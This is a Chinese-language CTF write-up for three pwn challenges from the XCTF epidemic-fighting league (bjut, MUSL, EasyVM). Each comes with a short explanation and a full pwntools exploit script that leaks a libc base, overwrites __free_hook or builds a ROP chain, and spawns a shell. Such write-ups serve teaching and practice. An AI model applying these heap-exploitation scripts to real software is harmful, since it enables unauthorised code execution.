XCTF 抗疫情高校联赛
这里面我只写一些自认为有意思的题目,不过可以看V&N wp供大家参考。
bjut
这个题目的难点在于漏洞的寻找,看他用了libc 2.29,本以为会在新的安全机制上做文章,最后发现原来是数组上溢漏洞,这种漏洞ctf里面还是比较不常见的。。。记一下。。。
其在对数组索引进行判断的时候没有判断数组的最小值情况,加上数组所在的位置,目标就很明显了。
其漏洞不在堆块,这有点类似于格式化不在栈上的情况。
这时候IO链表就提供了很好的帮助
EXP
#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
#context.log_level = "debug"
pdbg = pwn_debug("./hw")
debug = 1
pdbg.local()
pdbg.debug("2.29") #2.23 ... 2.29
pdbg.remote() #IP,PORT
if debug == 1:
r = pdbg.run("debug")
elif debug == 2:
r = pdbg.run("local")
else:
r = pdbg.run("remote")
def debug(addr):
pdbg.bp([addr])
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
elf = pdbg.elf
libc = pdbg.libc
def add(size,content):
r.sendlineafter(">","1")
r.sendlineafter(" hw:\n",str(size))
r.sendafter("hw:\n",content)
def edit(idx,content):
r.sendlineafter(">","2")
r.sendlineafter(" hw:\n",str(idx))
r.sendafter("hw:\n",content)
def show(idx):
r.sendlineafter(">","4")
r.sendlineafter(" hw:\n",str(idx))
def delete(idx):
r.sendlineafter(">","3")
r.sendlineafter(" hw:\n",str(idx))
#gdb.attach(r)
#debug(0x000000000401557)
#debug(0x000000000401557)
add(0x18,'/bin/sh\x00')
show(-16)
r.recvn(9)
all = r.recvrepeat(0.001)
libcbase = u64(all[8:8+8]) - 0x3b4703
free_hook = libcbase + libc.symbols["__free_hook"]
system_addr = libcbase + libc.symbols["system"]
#sleep(2)
confirm(libcbase)
#edit(-16,p64(free_hook))
r.sendline("2")
#debug(0x00000000040141F)
r.sendlineafter(" hw:\n",str(-1939+3))
r.sendafter("hw:\n",p64(libcbase+libc.symbols["_IO_2_1_stdin_"])+ p64(0) + p64(free_hook))
r.sendline("2")
r.sendlineafter(" hw:\n",str(-16))
r.sendafter("hw:\n",p64(system_addr))
debug(0x00000000040164B)
r.sendline("3")
r.sendlineafter(" hw:\n",str(-4))
#gdb.attach(r)
#r.send(system_addr)
#r.sendafter("hw:\n",p64(system_addr))
r.interactive()
MUSL
u1s1 , 我的虚拟机启动这个题目真是慢,心态崩了。进入正题:
本来觉得这个题目送分的,因为看了漏洞什么的觉得如果是正常libc的话,估计很快就搞定了,但是vmmap之后发现其不简单.
这看着不是泄露libc基地址?然后查了查musl libc是一种小型的libc,主要应用于嵌入式设备。然后比赛时就没做了,去看别的题目了,现在看wp复现一下:
- 首先利用堆块重叠泄露地址
- 然后利用MUSL独有的特性把指针数组的地址写到数组里面,进而实现任意写。
- MUSL无法写入got表,所以就写到了栈上,然后利用rop进而getshell.
EXP
#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
context.log_level = "debug"
pdbg = pwn_debug("./carbon")
debug = 2
#pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local("./libc.so")
pdbg.debug("2.23") #2.23 ... 2.29
pdbg.remote() #IP,PORT
if debug == 1:
r = pdbg.run("debug")
elif debug == 2:
r = pdbg.run("local")
else:
r = pdbg.run("remote")
def debug(addr):
pdbg.bp([addr])
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
elf = pdbg.elf
libc = pdbg.libc
def create(size,content,flag = 'N'):
r.sendlineafter('>','1')
r.sendlineafter('>',str(size))
r.sendlineafter('>',flag)
r.sendafter('>',content)
def delete(index):
r.sendlineafter('>','2')
r.sendlineafter('>',str(index))
def edit(index,content):
r.sendlineafter('>','3')
r.sendlineafter('>',str(index).ljust(0xF,'\x00'))
r.send(content)
def show(index):
r.sendlineafter('>','4')
r.sendlineafter('>',str(index))
create(0x10,"a" * 0x10) #0
create(0x60,"b" * 0x60) #1
create(0x80,"a"*0x50 + "\x00"*0x10 + p64(0xF1) + p64(0x21) +"c"*0x10) #2
delete(0)
create(0x10,"a"*0x10 + p64(0x21) + p64(0xf1)+'\n','Y')
#debug(0x000000000400E61)
delete(1)
#debug(0x000000000400D16)
create(0x70,"b"*0x70) #1
show(2)
leak_addr = u64(r.recvuntil("\x7f").ljust(8,"\x00"))
libcbase = leak_addr - 0x292AF0
confirm(libcbase)
system_addr = libcbase + libc.symbols["system"]
environ_addr = libcbase + libc.symbols["__environ"]
bin_sh_addr = libcbase + libc.search("/bin/sh").next()
heap_array = (leak_addr & 0xFFFFFFFFFFFFF000) - 0x2000
create(0x20,"d"*0x20) #3
delete(2)
edit(3,p64(heap_array + 8)*2+'\n')
create(0x20,"d"*0x20)
edit(1,p64(0x000000000602034) + p64(0x8) + p64(environ_addr) + p64(0x70) + p64(heap_array)+"\n")
edit(0,p32(0)+"\n")
#debug(0x000000000401046)
show(1)
stack_addr = u64(r.recv(6).ljust(8,"\x00"))
target = stack_addr - 0x70
pop_rdi_addr = 0x0000000000014862 + libcbase
edit(2,p64(24) + p64(target)+"\n")
edit(0,p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr))
r.interactive()
总结
这个提米实际上考察的是对未知领域的探索能力,根据调试的结果,利用已有的经验,大致可以推断出musl libc大致的堆分配机制,难点就是在于调试和发现规律。
EasyVM
这个不难,主要是接触的VM不多,记一下:
分析的VM结构体如下:
00 VM struc ; (sizeof=0x2C, mappedto_5)
00000000 reg_KK dd ?
00000004 reg_eax dd ?
00000008 reg_add dd ?
0000000C reg_mul dd ?
00000010 reg_sub dd ?
00000014 reg_div dd ?
00000018 reg_esp dd ?
0000001C reg_ebp dd ?
00000020 reg_eip dd ?
00000024 reg_xor dd ?
00000028 stack_begin dd ?
0000002C VM ends
漏洞在于free操作的UAF
if ( !ptr )
exit(0);
play(ptr);
break;
EXP
#!/usr/bin/env python
# coding=utf-8
from pwn_debug import *
context.log_level = "debug"
pdbg = pwn_debug("./EasyVM")
debug = 1
pdbg.local()
pdbg.debug("2.23") #2.23 ... 2.29
pdbg.remote() #IP,PORT
if debug == 1:
r = pdbg.run("debug")
elif debug == 2:
r = pdbg.run("local")
else:
r = pdbg.run("remote")
def debug(addr):
pdbg.bp([addr])
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
elf = pdbg.elf
libc = pdbg.libc
def menu(idx):
r.sendlineafter("5.Let the robot sleep!\n>>> \n",str(idx).ljust(8,'\x00'))
def New(payload):
menu(1)
r.send(payload)
def Run():
menu(2)
def Delete():
menu(3)
def Push(value):
return '\x71'+p32(value)
def Pop():
return '\x76'+p32(0)
def Read():
return '\x54\x00'
New("123".ljust(0X2ff))
Delete()
#debug(0x0000F2D)
New('\x11\x99'.ljust(0x2ff,'\x99'))
Run()
libcbase = int(r.recv(10),16) - 0x1af930
confirm(libcbase)
malloc_hook = libcbase + libc.symbols["__malloc_hook"]
__free_hook = libcbase + libc.symbols["__free_hook"]
payload = '\x71'+p32(__free_hook)
payload += Pop()
payload += Read()
payload += '\x71'+p32(__free_hook+1)
payload += Pop()
payload += Read()
payload += '\x71'+p32(__free_hook+2)
payload += Pop()
payload += Read()
payload += '\x71'+p32(__free_hook+3)
payload += Pop()
payload += Read()
New(payload.ljust(0x2ff,'\x99'))
Run()
system_addr =libcbase+libc.symbols["system"]
r.send(p32(system_addr))
payload = Push(0)*77
payload += Push(u32("/sh\x00"))
payload += Push(u32("/bin"))
New(payload.ljust(0x2ff,'\x99'))
Run()
Delete()
r.interactive()